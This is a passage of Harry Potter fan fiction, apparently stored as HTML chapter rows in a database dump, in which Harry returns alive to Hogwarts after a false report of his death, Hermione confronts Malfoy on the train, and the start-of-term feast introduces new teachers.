train.\nPeople who knew how close those three were, came from all direction to offer\ntheir condolences.<br>\n<br>\nParvati was one of the few witches born to wizard houses who didn&#8217;t get Daily Prophet\nand as such she didn&#8217;t know the news that had spread across the world before it\neven went to press. &quot; Harry Potter dies Valiantly.&quot; Underneath it said,\n&quot; Today is September 1st and the world is grieving the loss of Harry\nPotter, The Boy who lived. writes T. G. McGinities of Daily Prophet. He died\nvaliantly in the desert trying to save his friend and an entire city from the\nterrible<br>\nmagical beast known as the &quot;Nundu&quot;. Found in east Africa it is one of the rarest\nof beasts that resembles a muggle leopard but it&#8217;s not the hunger for humans, muggles\nor magical, but its capability to infect entire villages with its potent breath\nthat makes this a nightmarish creature. <br>\n<br>\nActing on the information received from the Headmaster of Hogwarts, Professor Albus\nDumbledore, the Ministry of Magic in Morocco had started to surround the city with\nprotective magic but when the beast attacked prematurely all hope seemed to be\nlost. The few wizards that hadn&#8217;t panicked and ran away or who hadn&#8217;t lost\nconsciousness were desperately trying to subdue the beast. That is when Harry\nPotter the boy who lived came on a magic carpet with his long time friend Ms\nHermione Granger. Details are sketchy, as Ms. Granger and some of the people on\nthe frontline were too grieved to talk. <br>\n<br>\nFrom what we know the beast and Mr. Potter disappeared when it looked as though\nthe creature was about to attack a large group of wizards. Some eyewitnesses report\non seeing Mr. Potter glow white before disappearing with a bright white flash\nand supersonic pop noise which shook the entire city. <br>\n<br>\nA search party was sent out once the protection spell was set properly, and the\nhalf eaten carcass of a human body and the creature was found in an abandoned Griffins\nnest five day journey from the original site. The body was severely dismembered\nand missing the head. From the evidence nearby it was determined to be of Harry\nPotter. The evidence in question was his wand, identified by Mr. Oliverand and\na broken watch identified by Ms. Granger to be a birthday gift from one of his\nmany female admirers, Ms. Ginny Weasley sister of the newly<br>\nappointed liaison to Moroccan ministry Weatherby Weasley, in the wake of this\nterrible event. <br>\n<br>\nThe evidence point to Mr. Potter apparating the beast to the Griffin&#8217;s nest that he was\nstudying for his school homework. As soon as the Griffins spotted the pair,\nthey were attacked and eaten. The world it seems is once again in debt to Harry\nPotter last of the Potter family line. We only hope that his sacrifice will\ninspire others to be as brave and valiant in the face of danger. There will be\ncommemorative issue of the Daily Prophet printed this afternoon available to the\npublic free of charge. It is our way to remember a great hero. <br>\n<br>\nThe main funeral will be held on 2nd September at Hogwarts School of Witchcraft\nand Wizardry. Attendance to the funeral will be limited to Students and selected\nclose friends only. There will be a public ceremony at Ministry Head Quarters\nat 3:00pm on 3rd September&quot;<br>\n<br>\n</p>\n\n<p><br>\nWhen Millicent Bullstrode the Slytherin finished reading the paper out loud she\ncried openly. Some of her classmates mostly girls joined in some of the boys\nalso tried to console the girls. The majority of the Slytherins were celebrating,\nuntil a wave of curses from all direction silenced them. Then someone pointed\nsomething in the sky.<br>\n<br>\n&quot; Is it a bird?&quot; asked Lavender Brown.<br>\n<br>\n&quot; No. ITS HARRY POTTER!!!, HE&#8217;S ALIVE!!! HE&#8217;S ALIVE !!! And He&#8217;s on a\nFLYING CARPET&quot; said Millicent as she jumped in joy. She wasn&#8217;t the only\none who was happy, but she was one of the few Slytherins to do so. Their was\nalmost a deafening cheer that went across the platform. <br>\n<br>\n<i>&#8216; Why do I always have to make grand entrances?&#8217; &nbsp;</i>thought Harry as he\nstarted to remember the events of the last few days.... <br>\n<br>\n<br>\n</p>\n\n<p>Hermione\ncouldn\'t even dare to believe it, for if it was a mistake she was going to have\nto go through the pain all over again. But something inside her made her start\nto move to where that person was landing. <i>&#8216; If this is one of Malfoy\'s\ntricks, I\'m going to kill him.&#8217;</i> , thought Hermione as she moved pass the\ncrowd amidst a loud cheer that went up. <i>&#8216; May be it is him&#8217;</i> </p>\n\n<p>When she\nfinally waded through all the people that were blocking her way, she started to\ncry and run towards Harry. She flung her arms around him and started to kiss\nhis cheek and face like a mother, who had just found her lost child after ten\nyears. She didn\'t care what people thought, nor did she care if Harry was\nembarrassed. She was happy to have one of her best friends back from the dead\nand she wanted to show it.</p>\n\n<p>&nbsp;</p>\n\n<p>When Hermione\nseparated herself from him, his face was slightly pink. She also noticed for\nthe first time that Harry was standing in his cloak that he wore two and a half\ndays ago, aside from that his glasses were not there either. His clothes were\nreally shredded, and now almost nothing was covering his belly. She could see\nhis chest now sported three deep scars as well as one on his arm. Hermione\ndidn&#8217;t know it but the smaller scar was the griffins had attacked him.</p>\n\n<p>There was\nsomething different about him, almost as if he looked older. But she didn\'t get\nto follow that train of thought for long. The conductors of the train had already\nstarted to beep their horn in celebration. Ron had heard the loud cheer that\nwent across the platform and decided to investigate it &#8211; and since Hermione\nwasn&#8217;t there, he was worried. </p>\n\n<p>He found\nHermione next to Harry. <i>&#8216; Is that...him? No it can\'t be!&#8217; </i></p>\n\n<p>&quot; Harry!\nHarry!&quot; he yelled at the top of his voice getting the attention from\nHermione, followed by Harry. Harry smiled and yelled back, &quot; Ron&quot;.\nBoth Harry and Hermione started to make their way toward their best friend Ron\nWeasley. Harry put both his arms on Ron\'s shoulder and looked Ron up and down.\nHe had grown to a six feet figure. Harry was happy that he had finally grown\npast his tall friend. </p>\n\n<p>When he\nfinished his inspection, Ron pulled Harry in for a hug. The hug lasted only a\nfraction of a second, as anything more is looked down upon by others of the\nmale gender. &quot; Good to see you.&quot; said Ron, not even noticing the\ncrowd that was around his friend. This is the first time that Ron wasn\'t\njealous of his friend. Until that point he had assumed his friend to be dead\nand now that he was back he was too happy for words. </p>\n\n<p>&quot; How was\nyou holiday&quot; asked Harry.</p>\n\n<p>&quot; Fine.\nHow was yours?&quot;</p>\n\n<p>&quot; I died.\nI came back. I got more attention than I wanted at the beginning of the year\nand I hate Malfoy. All in all.... same as always&quot;</p>\n\n<p>&quot; Let\'s\ngo inside you two. We\'re making the train late...&quot; said Hermione, wiping\naway her tears, grabbing Harry arm with her bother hands and holding him. Alsmot\nafraid that he was a dream and would leave her if she let go. </p>\n\n<p>&quot; Yes...\nIt\'s going to be a good year. I can feel it.&quot; Said Harry as he put his one\narm around her and the other around Ron. Once they entered the carriage Ron\nlocked it with a Locking charm, so that no one could enter.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;\nHermione.... Where is my wand?&quot; asked Harry.</p>\n\n<p>&quot; It\'s in\nmy trunk.... I\'ll get it.&quot;</p>\n\n<p>&quot; Too\nlate. It\'s coming to me....&quot; as soon as he said this Hermione\'s trunk with\nclothes in it exploded, showering the room with bits and piece of clothes. The\nbit of clothes showered the trio, but Harry had erected a shielding charm\naround himself before he came down from the carpet and so he wasn\'t covered in\npieces of Hermione\'s clothes.</p>\n\n<p>The same\ncouldn\'t be said for Ron and Hermione. Hermione was covered in little bits as\nopposed to big bits or whole clothes like Ron. Ron\'s had one of Hermione\'s bras\nstuck to his face and one of her panties over his shoulder. As soon as he\nrealized what the pieces of clothing were, his face turned the same shade of\nred as his hair. </p>\n\n<p>They both\nlooked at where the trunk was to see the wand floating over the mangled cover.\nThe wand made its way across the carriage and into Harry\'s open palm...</p>\n\n<p>&nbsp;&nbsp;</p>\n\n<p style="text-align:center" align="center">&lt;&lt;~~~&gt;&gt;</p>\n\n<p style="text-align:center" align="center">END OF CHAPTER<br>\n<b>READ AND REVIEW</b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(13, 16, '\n\n\n\n<p><b>&nbsp;</b></p>\n\n<p style="text-align:center" align="center"><b>Chapter Number:</b> 16<br>\n<b>Chapter Name:</b> The Nutcracker</p>\n\n<p>&nbsp;</p>\n\n<p>Harry grabbed\nhis floating wand and put it in his right pocket. He then turned to Ron and\nHermione, who were mildly mortified at what Harry\'s wand had done. &quot; Wh-What\nthe hell was that?&quot; asked Hermione.</p>\n\n<p>&quot; It\'s\nlike this...&quot; Harry looked at Hermione in the face and said, &quot; Last\nyear after I came back from the resurrection of Vold... sorry... You-Know-Who,\nProfessor Dumbledore cast a spell on it.&quot;</p>\n\n<p>&quot; What\nspell? I want the name and people who...&quot; asked Hermione before getting\ninterrupted by Harry.</p>\n\n<p>&quot; Calm\ndown, Hermione. I don\'t know the correct spell but it was ancient magic.&quot;\nThis got a gasp from both Ron and Hermione. They didn\'t think anyone existed\nwho could perform ancient magic. &quot;... Well anyway...The spell now makes\nthe wand try to come to me, wherever it is, if I&#8217;m in the same room as it is,\nbut I don&#8217;t have the wand with me.&quot;</p>\n\n<p>Hermione was\nreassured at those words. For the first time since the small explosion Hermione\nrealized that the whole room was covered in small bit of clothing. Harry saw\nthat she was visibly upset about the condition of the room so he offered to\nhelp. &quot; Hermione... Here...&quot; said Harry as he waved his wand and\nsaid, &quot; Tidus ap\'ris&quot;</p>\n\n<p>All the\nclothes that were in one piece quickly arranged themselves in a neat pile while\nthe damaged clothes started to gather in one spot near the mangled trunk. &quot;\nReparo&quot; this time, a bright white light shot out of the wand and repaired\nthe clothes. </p>\n\n<p>Harry could\nfeel himself losing magical strength as he repaired more and clothes. He knew\nhe was tired from his journey and as such would not be able to fix Hermione\'s\nmangled trunk.</p>\n\n<p>&quot; You\nthink you can do it? I\'m feeling a bit weak now&quot; asked Harry turning\ntowards Hermione. </p>\n\n<p>&quot; Ok.&quot;\nHermione pushed up her glasses up her nose bridge, an action that she had\npicked up by watching Harry do it too many times. The top student at Hogwarts\ndidn\'t take long to do it at all. When Hermione finished putting away the\nclothes, Malfoy barged into the room. </p>\n\n<p><i>&#8216; I should\nhave had done the locking charm,&#8217;</i> thought Hermione looking at Ron. He looked\ndisappointed that his locking charm hadn\'t been that good. </p>\n\n<p>&quot; Potter.\nI see you\'re still hanging around with Mudbloods and the poverty stricken... Oh\nI see the Mudblood needs glasses now... First it was the big teeth and now\nglasses, what\'s next...adult diapers.&quot; </p>\n\n<p>&nbsp;</p>\n\n<p>Malfoy and his\ngang laughed at his joke. Ron was very unhappy, well, that would be an\nunderstatement of the same category as calling Voldemort bad. He was about to\njump on Malfoy when Harry grabbed his collar and motioned Hermione towards\nMalfoy. She had an evil smirk on her face and quite unlike herself she started\nto walk up to Malfoy. Normally should not be like that. But it was almost as if\nHarry&#8217;s encouragement had made her like that. Hermione said, &quot; Get out,\nMalfoy, before you really regret it.&quot; </p>\n\n<p>Coolness of her\nvoice surprised Ron. &quot; And what if I don&#8217;t? Mudblood?&quot; The last part\nhe said like he was spitting out venom.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot; That\'s\nit.&quot; said Ron and attempted to get away from Harry, but he had enough\nphysical strength to restraint Ron. &quot; Simmer down Ron. She\'s not as defenseless\nas you think. Just watch.&quot; With that he turned back to Hermione, his eyes\nemanating confidence. </p>\n\n<p>Hermione said &quot;\nJust this...&quot; before she kicked Malfoy in the groin. Pain unlike any other\nMalfoy had experienced before went through his body forcing him to double over\non to his knees. She followed through by punching his face once and just when\nhe opened his mouth to scream in pain she put her wand tip right inside his\nmouth.</p>\n\n<p>&quot; I don\'t\nknow about you Malfoy...&quot; said Hermione with an evil smile, &quot;... but I\'ve\nalways wandered what would happen if I released a jet of hot water inside a\nperson\'s mouth. If you don\'t want the find out, I suggest you leave the compartment\nimmediately.&quot;</p>\n\n<p>The other four\nSlytherins were too shocked to do anything. They were afraid that Hermione was\ngoing to turn her attention to them soon. When she didn\'t and walked away with\nher back fully turned towards them Harry could see their tiny brains thinking\nif they should attack Hermione from the back. But they forgot all about it when\nthey saw the look on Harry\'s face. They knew about the incident with the Nundu.\n</p>\n\n<p>Between the\ntwo of them, they had just enough intelligence to know that they should not\nmess with the friends of a person who had single-handedly took on one of the\nmost ferocious creatures in the magical world and lived to talk about it. Crabbe\nand Goyle walked up to Draco\'s body, which was still writhing from the kick in\nthe groins after a full minute and dragged it out of the compartment. </p>\n\n<p>Ron was very\nsurprised at how Hermione handled herself. Harry let go of Ron, who decided he\nwanted to complement Hermione on her performance. &quot; Wow that was good. I\nnever knew you -&quot; But Ron was cut off by Harry. </p>\n\n<p>&quot; How\ncome you didn\'t hurt him worse? I mean you could have had made him pay... with\nall you know you could have had him on a hospital bed for most of the\nyear&quot; said Harry who was puzzled at the situation. </p>\n\n<p>&quot; If I\ndid that you know they would have had expelled me... hello! So how did you two\nlike my performance?&quot;</p>\n\n<p>Ron answered\nfirst, &quot; As I was saying before I was so rudely interrupted by Harry\nhere...&quot; he pointed at Harry, &quot; ... That was very great. Er... What\nwas all that about you knowing enough to put Malfoy in hospital for rest of the\nyear?&quot;</p>\n\n<p>Harry and\nHermione explained that this year in light of the dark lord coming back to\npower the headmaster had arranged it so that students could learn Septanic\nDueling. He told them how they had seen the first day of the games and how they\npracticed moves at night (missing the part about being in astral projection).\nHermione took over the conversation after this part and explained that Harry\nhad a nightmare regarding the beast and how they warned the ministry. Ron asked\nHarry to take over the story when Hermione continuously referred to\nYou-Know-Who as Voldemort. This was a new horrific development for Hermione.\nOnce they came to the part about the battle Harry stopped talking. Hermione\ntook the hint and asked Harry, &quot; So... You didn\'t answer my question\nbefore.&quot;</p>\n\n<p>&quot; Which\none?&quot; asked Harry.</p>\n\n<p>&quot; How did\nyou two like my performance?&quot; </p>\n\n<p>&quot; Same as\nalways... bland and dull,&quot; said Harry, with a mischievous smile on his\nface. He was teasing. </p>\n\n<p>Hermione tried\nto punch him in the stomach in retaliation to his comments but Harry\nsidestepped her, causing her to miss and hit Ron instead. Ron wasn\'t expecting\nanything like that and as such absorbed the full impact of the punch. &quot;OOOF&quot;\nhe cried. Harry on the other hand was expecting this and took counter measures.\nSo when Hermione threw the second punch Harry grabbed her arm and bent it on\nher back using one hand and trapping her other hand by wrapping his other arm\naround her arm and waist. &quot; Tsk..tsk.&quot; said Harry whispering into her\nears. &quot; Hermione you really didn\'t think I was going to fall for the same\ntrick again. Did you?&quot;</p>\n\n<p>&quot; Hey\nwhat are you guys talking about?&quot; asked Ron who was still patting his\nstomach after the punch. He had heard Harry whisper something but didn\'t really\ncatch what was said. Harry turned to Ron and replied. </p>\n\n<p>&quot; You see\nin the Holidays when Mr. Pasha gave us Dueling lessons she\'d always hit me when\nI wasn\'t on my guard. I think beating up boys has become almost as much fun for\nher as studying... &quot; </p>\n\n<p>Hermione blushed\na little. It was partly true... for some strange reason it was fun for her when\nshe fought boys...well actually beat the living daylights out of them. Hermione\ndid notice that the adrenaline rush when she beat up Malfoy was nowhere as high\nas she usually felt when she was fighting Harry. Harry\'s quick recovery power\nmeant that her beatings were actually less effective so she could always fight\nhim without holding anything back, knowing he would take it all in his\nstride... well take it better than most people. A girl she may be, but a pushover\nshe wasn\'t. </p>\n\n<p>&quot; Yeah...\nwell if you guys weren\'t so soft then I wouldn\'t....&#8221; &nbsp;Harry pushed her arm\nfurther up making her arm hurt. &#8220; aow..aow...&quot;. She had to arch her back\nto lessen the pain from the new position. Harry wanted this banter fight to\nkeep going but he felt himself getting weaker and as such decided that he would\npick it up when he was feeling better. &quot; You really shouldn\'t say things\nlike that, love. I\'ll let you go, but promise me you\'ll not hit either one of\nus again for the trip.&quot;</p>\n\n<p>&quot; Ok.&quot;\nReplied Hermione a little too quickly.</p>\n\n<p>Harry should\nhave been more careful when she agreed so quickly... too quickly, but he\ndidn\'t. She turned around quickly to punch him on his face but Harry moved his\nhead back on reflex and she missed him. Since Hermione hadn\'t positioned her\nbody properly she lost balance when she missed the punch and Harry had to grab\nher to save her from hitting the floor. &quot; You OK.&quot; Asked Ron as he\nextricated her from Harry\'s arms.</p>\n\n<p>Harry had\nquite enough of the fight and said, &quot; Are you quite done, Hermione?...\nbecause I really need to rest after the long trip...&quot; The rest of the\ncomment was mumbled. Though Hermione and Ron managed to pick up that it was\nsomething to do with three spells and a carpet not being a carpet. Hermione and\nRon dismissed those comments as ramblings of a weakened wizard.</p>\n\n<p>Five minutes\nlater when Harry was asleep on one of the long seats. Hermione sat down next to\nhis head and lifted his neck up to slide her leg underneath his head. Harry\'s\nface before this point looked to be restless but once she started to stroke his\nhair, he seemed to relax. What she was doing was similar to what her mother had\ndone, when Hermione was grieving for her best friend. </p>\n\n<p>Ron saw this,\nbut said nothing to indicate either his jealousy or anger towards Harry for\nbeing the center of attention from the girl that he liked. Neither Hermione nor\nRon spoke to each other even when they shared sweets. Hermione kept some to\ngive to Harry when he woke up.</p>\n\n<p style="text-align:center" align="center">&lt;&lt;~~~&gt;&gt;</p>\n\n<p style="text-align:center" align="center">END OF CHAPTER<br>\n<b>READ AND REVIEW</b></p>\n\n\n\n\n\n\n'),
	(13, 17, '\n\n\n\n<p style="text-align:center" align="center"><b>Chapter Number:</b> 17<br>\n<b>Chapter Name:</b> Winking at Potter</p>\n\n<p>&nbsp;</p>\n\n<p>Harry woke up\nto find himself inside the horse-less carriage. He was a bit surprised to see\nthat he was sleeping on Hermione\'s lap with her hand in his hair. <i>&#8216; Hagrid\nmust have put me in here&#8217; </i>thought Harry. He tried to move his head slightly\nso he wouldn\'t wake up Hermione. But he need not have had worried about it\nsince Hermione was actually awake. &quot; You\'re awake!&quot; said Hermione. </p>\n\n<p>&quot; Sorry...&quot;\nHarry looked apologetic, &quot; I woke you..&quot;</p>\n\n<p>&quot; Don\'t\nworry. I wasn\'t asleep..&quot; she started to fumble in her pocket for\nsomething. After about a seconds she found what she was looking for. They were\nsweets that Hermione had saved for Harry. Harry was ravished and welcomed\nanything edible... even if it was an every flavored bean. Though the first one\ntasted like \'rust\' Harry ate it anyway. He noticed that Ron was on the other\nside of the carriage and was sleeping. </p>\n\n<p>&quot; How\nlong have we been in the carriage?&quot; he asked curious to find out how much\nlonger to his home... the castle. &quot; Hagrid just put you in here. You\nreally were tired weren\'t you?&quot;</p>\n\n<p>&quot; Yeah.\nThe journey from Morocco... well it was long.&quot;</p>\n\n<p>&quot; Are you\nstill tired?&quot; she asked, very concerned.</p>\n\n<p>&quot; No. I\'m\nfine now... Thanks for saving these for me.&quot; Harry noticed that Hermione\nwas crying silently and his heart stopped.</p>\n\n<p>&quot; What\nhappened, love? Did Malfoy comeback after I went to sleep... \'cause I\'ll kill tha-&quot;\nHarry was interrupted by Hermione when she grabbed on to his mid section and\nstarted to whimper. Harry hesitantly place his hand on her head and started to\ncaress it. He managed to pick up the reason why he was so upset through all her\nsobbing. &quot;... its okay, love. I\'m not dead and I\'m not going\nanywhere.&quot;</p>\n\n<p>&quot; You\ndon\'t know what it was like, &#8220; she sobbed, &#8220; I thought you were dead. I...I\nwanted to go and look for you but I couldn\'t. People wouldn\'t let me. By the\ntime I woke up... they found that body and everyone thought...&quot; she didn\'t\nfinish the sentence before she broke down again.</p>\n\n<p>&quot;\nHermione listen to me.&quot; He forcibly lifted up face from his chest and made\nher look into his eyes. &quot; The reason Voldemort wants me dead is because he\nknows I\'m supposed to defeat him. That means I will. Have faith.&quot; Hermione\ntook comfort in his words and clamed herself down. She let go of his mid\nsection and compose herself on the seat. Harry wasn&#8217;t as confident about what\nhe had just said, as he might have had appeared to Hermione. He severely\ndoubted every word, but he didn&#8217;t want Hermione to be overly concerned about\nhim. And if he kept her at peace with a few false words, he would be willing to\ndo that. </p>\n\n<p>&quot; I\nwill.&quot; Said Hermione solemnly.</p>\n\n<p>They talked a\nlittle bit more for about two minutes before Ron finally woke up. &quot; Hey\nRon... How is going?&quot;</p>\n\n<p>&quot; Fine.&quot;\nAnswered Ron with a sharp edge in the voice. It was quite obvious to Ron and\nHarry though, Hermione didn\'t see the harsher connotations to his voice.\nHermione passed him some of the sweets that she had kept for Harry. </p>\n\n<p>&quot;Thanks&quot;\nsaid Ron when he took them. Though Ron was still jealous and angry with Harry\nfor getting affection from Hermione, he completely forgot about it when Harry\nasked about Ron\'s holidays. &quot; Hey Ron. I didn\'t get to ask you what\nhappened at he burrow in the summer. How\'s everyone and how come I didn\'t see\nFred and George?&quot;</p>\n\n<p>&quot; Well...\nIt\'s like this. Ludo Bagman gave back the thousand Galleons that he owed them\nand they wanted to set-up shop in Hogsmede. Mom wouldn\'t let them unless they\nget top grades so the entire summer they have been studying.&quot; </p>\n\n<p>&quot; So\nthat\'s why I didn\'t see them...&quot; said Harry but Ron quickly interrupted\nhis friend. </p>\n\n<p>&quot; You\nwon\'t believe how hard they have been studying. Mom\'s now scared that they\'ll\nget good marks and set-up shop, when they could just as easily take up good\npositions in the ministry. Did you hear about Percy...&quot; Harry nodded a no.\n&quot; You know Percy got a promotion right?...No...Ok. Percy was under\nsuspicion because he didn\'t recognize that his boss was under the imperious\ncurse so they gave him a demotion and made him an assistant to the Moroccan\nAmbassador.&quot; Harry was pretty sure that Ron had paused for drama. </p>\n\n<p>&quot; The\nAmbassador was so pleased with Percy\'s work he tripled Percy\'s salary and since\nthen puts all the money into the family finances. Look all my books and\nclothes&quot; Harry for the first time noticed that Ron was wearing very good\nquality clothes. &quot;Everything brand new. Including...&quot; </p>\n\n<p>Harry didn\'t\nwant to hear Ron go on and on about his new things so he interrupted by asking\nabout rest of the family. &quot; What about Bill and Charlie?&quot;</p>\n\n<p>&quot; Charlie\'s\nonly been to our house three or four times in the holidays, but Bill was a\ndifferent case altogether. He\'s been there almost every other day. He stops by\ntalks to dad about things before he leaves after dinner. Dad won\'t tell us what\nhe\'s discussing with him. But I think it had something to do with You-Know-Who\nbeing back. There is something...&quot; and Ron for the next fifteen minutes\ngave very detailed account of what all the Weasley\'s been up to. </p>\n\n<p>Though they\nwere amongst the very first few people to arrive Harry and Co. decided they\ndidn\'t want Harry to be mauled by people so they stayed in their carriage for a\nlong time until the other students had already filed in. </p>\n\n<p>&quot; Well.\nIf we\'re any late we\'ll miss the whole thing.&quot; said Harry looking back and\nforth between his two best friends. </p>\n\n<p>&quot; Yeah!\nAll the food....&quot; Ron started to say but stopped himself when he saw\nHermione glaring at him. &quot; er -I mean I can\'t wait till we start studying\nagain.&quot; Ron ended the sentence in a sarcastic note, but Hermione mistook\nthat for a genuine comment.</p>\n\n<p>&quot; Oh.\nRon! First Harry starts studying and Now you! Oh! I don\'t think this year can\'t\nget any better.&quot; said Hermione beaming. Ron knew the comment he had made\nwas sarcastic but when he heard the praise he quickly forgot that Harry even\nexisted. Hermione said something next that wiped his happiness away and\nreplaced it with childish envy. &quot;... Oh! No it can&quot; she clapped her\nhands like a six year old child at a circus. &quot; This Sunday I have a date\nwith Victor. Victor is coming all the way from Bulgaria... just to see me. Can you believe\nit?&quot;</p>\n\n<p>Ron showed\nremarkable self-restraint when he didn\'t blow his top off at the name of Victor\nKrum, the famous Quidditch player and current boyfriend of Hermione Granger.\nHarry was surprised at how calm Ron was at Victor\'s name but he didn\'t say\nanything as he suspected Ron of liking Hermione as more than a friend. Harry\njumped into the conversation, just to make sure Hermione\'s ongoing description\nof how good Victor was didn\'t make Ron loose his cool. &quot; Let go\ninside.&quot;</p>\n\n<p>The whole room\nwas buzzing like crazy as people tried to catch up on their holidays.\nSurprisingly enough people had forgotten about Harry\'s big entrance at the\ntrain station. But it all changed the moment he emerged from the shadow of the\nmain entrance\'s archway. </p>\n\n<p>The room went\nvery silent and Harry half expected that the whole hall would come and try to\ntalk to him. But much to his relief no one came. Then suddenly the whole hall\nburst into conversation again but this time the sole conversation topic was\n&quot;Harry&quot;. He could pick up bits of talking as he headed for the\nGryffindor table. &quot; ...can you see those scars...his arm... look at those\nmuscles... when did he get so big...he apparated... with a magical creature...\nhe must be a very strong wizard... his children would be very strong\ntoo..&quot; the last stray comment made Harry\'s cheeks flush a bit. </p>\n\n<p>Majority of\nthe girls including those that were two years older were staring at his half\nnaked body. His shredded cloak only covered his shoulder and a bit more. The\nthree long scar marks on his flat stomach were only evidence of the battle with\nthe Nundu that Harry had and it was visible to all. Harry\'s body wasn\'t\nrippling with muscles but it wasn\'t skin and bones either. Strict diet at the Dursley\'s\ncoupled with three years of Quidditch and a lot of hard work over the summer at\nthe Granger\'s had ensured his body was good enough to be envied by most of the\nmale student population of Hogwarts. The fact that almost all the girls were\nopenly ogling at him like he was the perfect male specimen only added to that. </p>\n\n<p>Ogling was one\nthing that Harry could tolerate considering that he was just beginning to get\nused to the staring, well, much more than he was able to in his fourth year.\nBut nothing in those years prepared him for prepared him for what was to come\nnext. </p>\n\n<p>After the\ngirls had seen enough... well if they wanted to see anymore they would need to\nget him to a more private place, they started to wink at him. Harry took a step\nback when he realized that there were at least fifty witches winking at him.\nMost of the girls were third year and up while there were quite a few seventh\nyears in that group. </p>\n\n<p>But that\nwasn\'t what surprised and horrified Harry. No it was the idea of being winked\nat by Professor Nina Hawthorn who taught gnome psychology and some other\nsubject&#8217;s that Harry didn&#8217;t know about that made him feel almost nauseous.</p>\n\n<p>Harry though\nfor a moment thought that Alicia Spinet the head girl (he&#8217;d seen the shiny\nbadge) was looking at him, though unlike most of the girls when she saw Harry\nhad seen her, she blushed and returned talking to George. As much of a surprise\nas it was to catch her looking at him he was literally stumped to see that some\nof the better looking Slytherin girls, as well as a few steely faced ones were winking\nat him too. Some of the girl&#8217;s weren&#8217;t just winking too &#8211; some of their eyes\nwere suggestive enough to make Harry\'s throat go dry. </p>\n\n<p>&nbsp;</p>\n\n<p>Harry reasoned\nthat the new development could have two reasons. One, the girls were under\norder to seduce Harry and then kill him... or something even more terrifying...\nNot everyone in Slytherin was like Draco. As much as Harry wanted to believe\nthat all the Slytherins were bad his mind kept telling him that Snape had been\na good friend of his mother for a long time &#8211; when her own house was against\nher. &nbsp;</p>\n\n<p>Harry took a\nquick seat between Hermione and a very excited Parvati. If Harry had thought\nthat he was going to escape the staring of the girls just by sitting down at\nthe table he was mistaken. They kept their eyes firmly focused on Harry until\nProfessor McGonagall brought in the new first years amongst loud applause by\nall the houses. </p>\n\n<p>[Insert stupid\nsorting hat song here]</p>\n\n<p>&quot;Abenine,\nNikki&quot; said Professor McGonagall when the song was finished with an\nexplosion of clapping. All in all, there as a total of twenty six new\nGryffindors, twenty new Ravenclaws, seventeen Hufflepuffs and only ten new Slytherins.\nHarry couldn\'t help but think that the shortage in the number of Slytherins was\nrelated to Voldemort coming back from the dead and their plan to invade the\nschool pretty soon.</p>\n\n<p>&nbsp;</p>\n\n<p>After the\nsorting the headmaster stood up and said, &quot; Welcome students and staff to\nanother glorious year at Hogwarts. This is for those of you who are new and a reminder\nfor those who have been here before. Voldemort is back. The Dark lord is back. &quot;\nFew of the first years looked terrified while others from muggle houses were\nclueless. &quot; Tell your friends and families that. You may want to leave the\nschool in fear that it will the first place he attacks, well you would be\nright. But I believe that would be a mistake. Hogwarts stood its ground when\nthe dark wizard Salazar Slytherin, one of the founders himself, attacked the\nschool.&quot;</p>\n\n<p><i>&#8216; That\'s\nright... He tried for a week to gain access, finally giving up and kidnapping a\nmuggle child in an attempt to bring Gryffindor out of his fortress and face him.&#8217;</i> thought Harry as he\nremembered the information from &quot;Hogwarts: A history&quot;.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry chanced\na glance at Cho Chang. Cho looked sad at Professor Dumbledore\'s words. Harry\ncould see the hatred in her for Voldemort rise up. Harry quickly looked away.\nHarry had a crush on Cho since his first year, but when her boyfriend died\npartly because of him. Harry gave up all aspiration of getting involved with\nher. He would only remind her of the terrible tragedy that she suffered and he\ncouldn\'t bear to see her in pain, or anyone else for that matter.</p>\n\n<p>&quot; The\nforbidden forest is still forbidden as the name implies and homework is still\nmandatory. In light of this new situation all students from year second year up\nare required to take part in Dueling classes at least once a week. Now we have\ntwo new teachers amongst us. Firstly I would like you to welcome Professor Ali\nPasha from the Ministry of Morocco. He will be teaching Dueling.&quot; The hall\nwas filled with reserved claps. They were expecting someone who looked like Gildroy\nLockheart a phony teacher. When Ali Pasha came to view of the students most of\nthem took a shine to him. His face was welcoming and understanding. The level\nof applause doubled by the time he sat down. </p>\n\n<p>&quot; I would\nalso like you to welcome Percy Weasley, Professor Ali Pasha\'s liaison officer\nto the British Ministry of Magic.&quot; They saw Percy come to the podium and\nstand next to Ali Pasha. &quot;...As some of you might remember he was the head\nboy in his time and it\'s always nice to see an old student return.&quot; There\nwas a polite amount of claps for Percy though Gryffindor made a huge deal out\nit and started to do cat calls and whistle. </p>\n\n<p>&quot; It\nseems the next part of the speech has become part of the opening day speech and\nit looks like it\'ll be no different next year. We have a new Defence against\nDark Arts teacher.&quot; Professor Dumbledore then said, &quot; You may\nremember her from last year. She was one of the contestants for the TriWizard\nTournament competition. Though she does not have as much experience with the\nfield as some of our other teachers before, I believe she is a great\nreplacement. She has only agreed to teach for a year, before she starts her new\njob as the head of Marine creatures and Regulations department for the Ministry\nof Magic.&quot;</p>\n\n<p>Harry was\nsurprised when Ron asked, &quot; Harry, do you know who it is?&quot; It was a\nstupid question and Harry knew it, but he also knew why Ron asked that\nquestion. He was hungry. Before Harry could say anything there was a lot of\napplause as the part-Veela woman made her way to the teacher\'s table from the\nanteroom. Unlike Ron the rest of the male population in Hogwarts remembered\nFleur Delacour was the only female competitor in the tournament.</p>\n\n<p>Harry was\nsurprised that Ron didn\'t get whiplash from how quickly he turned his face back\nto the teachers table. &quot; Let me introduce Professor Fleur Delacour&quot;\nRon and half the male population of Hogwarts were totally mesmerized as she\ntook to the teachers table and sat down next to Professor Snape. </p>\n\n<p>&quot; Ron...\nI think you better turn the other way. I don\'t think there is enough holes in\nthis room to drain the amount of saliva coming out of your mouth.&quot; said\nHarry teasing Ron who paid absolutely no attention to his friend. </p>\n\n<p><i>&#8216; If he\ndoesn\'t stop looking at Fluer, he can kiss any chance he has with Hermione\ngoodbye.&#8217; </i>thought Harry when he saw Hermione\'s face contorted with anger or\nwas it fury. So Harry was glad when he heard the headmaster say, &quot;Lets\neat&quot;.</p>\n\n<p>Ron\'s love for\nfood was almost as much as his lust towards Fleur. Ron struggled with his lust\nfor the part Veela woman and food that he enjoyed more than anything in the\nworld. It was a bit funny to see Ron take a bite, look at Fleur and then go\nback to eating when he saw Hermione grimacing at him, only to repeat it after\nhalf a minute. </p>\n\n<p>Half way\nthrough the dinner Harry spat out what he was eating when he felt a hand on 